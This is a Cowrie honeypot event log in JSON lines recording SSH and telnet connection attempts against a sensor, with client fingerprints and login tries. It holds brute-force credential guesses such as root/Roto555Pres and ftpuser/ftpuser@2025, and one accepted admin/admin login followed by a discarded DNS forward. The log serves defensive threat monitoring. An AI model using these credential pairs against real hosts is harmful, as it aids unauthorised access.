{"eventid":"cowrie.session.connect","src_ip":"49.51.200.156","src_port":48924,"dst_ip":"10.17.0.5","dst_port":22,"session":"909dfb7316f5","protocol":"ssh","message":"New connection: 49.51.200.156:48924 (10.17.0.5:22) [session: 909dfb7316f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:22.874265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:22.878565Z","src_ip":"49.51.200.156","session":"909dfb7316f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:23.594954Z","src_ip":"49.51.200.156","session":"909dfb7316f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser@2025","message":"login attempt [ftpuser/ftpuser@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:24.639035Z","src_ip":"49.51.200.156","session":"909dfb7316f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":52044,"dst_ip":"10.17.0.5","dst_port":22,"session":"eae89b486bac","protocol":"ssh","message":"New connection: 193.32.162.145:52044 (10.17.0.5:22) [session: eae89b486bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:24.722834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:24.731575Z","src_ip":"193.32.162.145","session":"eae89b486bac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:24.846685Z","src_ip":"193.32.162.145","session":"eae89b486bac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"sollet","message":"login attempt [solana/sollet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:25.203209Z","src_ip":"193.32.162.145","session":"eae89b486bac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:25.814613Z","src_ip":"49.51.200.156","session":"909dfb7316f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:26.317322Z","src_ip":"193.32.162.145","session":"eae89b486bac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":96.00195384025574,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:27.538646Z","src_ip":"152.42.224.71","session":"00b8e3a7165f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.85.27","src_port":36314,"dst_ip":"10.17.0.5","dst_port":22,"session":"93dfe875d2a8","protocol":"ssh","message":"New connection: 43.153.85.27:36314 (10.17.0.5:22) [session: 93dfe875d2a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:31.464067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:31.469551Z","src_ip":"43.153.85.27","session":"93dfe875d2a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:31.644413Z","src_ip":"43.153.85.27","session":"93dfe875d2a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Roto555Pres","message":"login attempt [root/Roto555Pres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:32.843389Z","src_ip":"43.153.85.27","session":"93dfe875d2a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:34.019513Z","src_ip":"43.153.85.27","session":"93dfe875d2a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.18679642677307,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:36.933644Z","src_ip":"152.42.224.71","session":"52f0321eee0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57058,"dst_ip":"10.17.0.5","dst_port":23,"session":"5488e51da534","protocol":"telnet","message":"New connection: 152.42.224.71:57058 (10.17.0.5:23) [session: 5488e51da534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:50.125415Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.61.231.154","src_port":37770,"dst_ip":"10.17.0.5","dst_port":23,"session":"65e617f2e4cc","protocol":"telnet","message":"New connection: 179.61.231.154:37770 (10.17.0.5:23) [session: 65e617f2e4cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:59.981439Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":60320,"dst_ip":"10.17.0.5","dst_port":22,"session":"c63005f28d6a","protocol":"ssh","message":"New connection: 87.251.64.176:60320 (10.17.0.5:22) [session: c63005f28d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:01.533230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:01.541092Z","src_ip":"87.251.64.176","session":"c63005f28d6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:01.640159Z","src_ip":"87.251.64.176","session":"c63005f28d6a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:01.933285Z","src_ip":"87.251.64.176","session":"c63005f28d6a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:02.037641Z","session":"c63005f28d6a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:02.135687Z","src_ip":"87.251.64.176","session":"c63005f28d6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:02.241250Z","src_ip":"87.251.64.176","session":"c63005f28d6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.680398941040039,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:05.805676Z","src_ip":"152.42.224.71","session":"5488e51da534","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.234.173","src_port":54448,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d4d0a498d10","protocol":"ssh","message":"New connection: 185.242.234.173:54448 (10.17.0.5:22) [session: 4d4d0a498d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:07.743919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:07.753498Z","src_ip":"185.242.234.173","session":"4d4d0a498d10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:07.957301Z","src_ip":"185.242.234.173","session":"4d4d0a498d10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git@2025","message":"login attempt [git/git@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:08.627323Z","src_ip":"185.242.234.173","session":"4d4d0a498d10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:09.829748Z","src_ip":"185.242.234.173","session":"4d4d0a498d10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.935518026351929,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:12.916859Z","src_ip":"179.61.231.154","session":"65e617f2e4cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44280,"dst_ip":"10.17.0.5","dst_port":23,"session":"5888c335c6e8","protocol":"telnet","message":"New connection: 152.42.224.71:44280 (10.17.0.5:23) [session: 5888c335c6e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:21.964262Z"}
{"eventid":"cowrie.session.closed","duration":120.00337076187134,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:24.445026Z","src_ip":"152.42.224.71","session":"936161927e57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38728,"dst_ip":"10.17.0.5","dst_port":23,"session":"60f6e5f06e16","protocol":"telnet","message":"New connection: 152.42.224.71:38728 (10.17.0.5:23) [session: 60f6e5f06e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:32.514544Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.117.179.232","src_port":34740,"dst_ip":"10.17.0.5","dst_port":22,"session":"8602a31ee2b9","protocol":"ssh","message":"New connection: 45.117.179.232:34740 (10.17.0.5:22) [session: 8602a31ee2b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:34.735837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:34.741900Z","src_ip":"45.117.179.232","session":"8602a31ee2b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:35.099291Z","src_ip":"45.117.179.232","session":"8602a31ee2b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Amir1234","message":"login attempt [root/Amir1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:36.543082Z","src_ip":"45.117.179.232","session":"8602a31ee2b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.16.212.232","src_port":50724,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6e6282d75c6","protocol":"ssh","message":"New connection: 59.16.212.232:50724 (159.203.135.109:22) [session: f6e6282d75c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:37.424258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:37.429831Z","src_ip":"59.16.212.232","session":"f6e6282d75c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:37.628084Z","src_ip":"59.16.212.232","session":"f6e6282d75c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:37.899521Z","src_ip":"45.117.179.232","session":"8602a31ee2b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent123!","message":"login attempt [agent/agent123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:38.449418Z","src_ip":"59.16.212.232","session":"f6e6282d75c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:39.649682Z","src_ip":"59.16.212.232","session":"f6e6282d75c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.85.27","src_port":41540,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4b4a11f22ae","protocol":"ssh","message":"New connection: 43.153.85.27:41540 (10.17.0.5:22) [session: b4b4a11f22ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:47.000947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:47.005764Z","src_ip":"43.153.85.27","session":"b4b4a11f22ae","protocol":"ssh"}
